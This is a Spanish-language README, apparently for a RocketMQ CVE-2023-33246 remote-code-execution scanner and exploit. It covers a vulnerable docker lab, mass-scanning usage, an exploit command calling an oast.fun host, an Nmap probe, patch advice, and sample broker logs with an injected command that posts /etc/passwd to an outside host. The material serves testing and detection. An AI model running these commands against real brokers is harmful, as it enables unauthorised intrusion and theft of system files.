
CVE-2023-33246 RocketMQ Detección de RCE por versión y exploit

CVE-2023-33246 Exploit de Ejecución Remota de Código en RocketMQ
RocketMQ es una plataforma de mensajería y transmisión distribuida.
Las versiones de RocketMQ 5.1.0 y anteriores son vulnerables a la Inyección Arbitraria de Código. El componente Broker de RocketMQ está expuesto en la extranet y carece de verificación de permisos. Un atacante puede explotar esta vulnerabilidad utilizando la función de actualización de configuración para ejecutar comandos como los usuarios del sistema bajo los que se ejecuta RocketMQ. Además, un atacante puede lograr el mismo efecto falsificando el contenido del protocolo RocketMQ.
docker pull apache/rocketmq:4.9.4
# Start nameserver
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
# Start Broker
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
usage: check.py [-h] [--ip IP] [--file FILE] [--port PORT] [--cidr CIDR]
Verificar la vulnerabilidad CVE-2023-33246 RCE de RocketMQ
optional arguments:
-h, --help show this help message and exit
--ip IP Una dirección IP única para verificar
--file FILE Un archivo que contiene una lista de direcciones IP, una por línea
--port PORT El número de puerto a usar al conectarse al servidor (predeterminado es 9876)
--cidr CIDR Un rango CIDR para escanear (ej. 1.2.3.0/24)
python3 check.py --ip 127.0.0.1 --port 9876
python3 check.py --cidr 192.168.1.0/24
# or
python3 check.py --file rocketmq_targets.txt --port 9876
# target in file format:
# ip
# ip:port
# http://ip:port
⚠️ Precaución: Tenga cuidado al ejecutar este script en su entorno de producción, ya que el payload incluido tiene la capacidad de modificar la configuración de RocketMQ.
python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 127.0.0.1 10911 curl chw9ft72vtc00002z5k0ge6rz7eyyyyyb.oast.fun/test
Agregue el siguiente contenido al archivo nmap-service-probes ubicado en el directorio de instalación de Nmap.
##############################NEXT PROBE##############################
Probe TCP RocketMQ q|\x00\x00\x00\x64\x00\x00\x00\x60\x7b\x22\x63\x6f\x64\x65\x22\x3a\x32\x38\x2c\x22\x66\x6c\x61\x67\x22\x3a\x30\x2c\x22\x6c\x61\x6e\x67\x75\x61\x67\x65\x22\x3a\x22\x4a\x41\x56\x41\x22\x2c\x22\x6f\x70\x61\x71\x75\x65\x22\x3a\x30\x2c\x22\x73\x65\x72\x69\x61\x6c\x69\x7a\x65\x54\x79\x70\x65\x43\x75\x72\x72\x65\x6e\x74\x52\x50\x43\x22\x3a\x22\x4a\x53\x4f\x4e\x22\x2c\x22\x76\x65\x72\x73\x69\x6f\x6e\x22\x3a\x34\x33\x33\x7d|
ports 10911,11911,12911,13911
rarity 8
match RocketMQBroker m|"brokerVersionDesc":\s*"([^"]*)"| p/RocketMQ Broker/ v/$1/ cpe:/a:apache:rocketmq/

En caso de que su Broker de RocketMQ haya sido comprometido, puede identificar esta situación observando ciertos patrones en el registro del broker, los registros del broker se verán así:
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - updateBrokerConfig called by 172.17.0.1:56412
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - updateBrokerConfig, new config: [{filterServerNums=1, rocketmqHome=-c $@|sh . echo curl chxd6qa2vtc00007dfn0ge6sumayyyyyb.oast.fun --data @/etc/passwd;}] client: /172.17.0.1:56412
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - Replace, key: filterServerNums, value: 0 -> 1
2023-06-03 13:51:37 INFO AdminBrokerThread_5 - Replace, key: rocketmqHome, value: /home/rocketmq/rocketmq-4.9.4 -> -c $@|sh . echo curl chxd6qa2vtc00007dfn0ge6sumayyyyyb.oast.fun --data @/etc/passwd;
Actualice org.apache.rocketmq:rocketmq-broker a la versión 4.9.6, 5.1.1 o superior.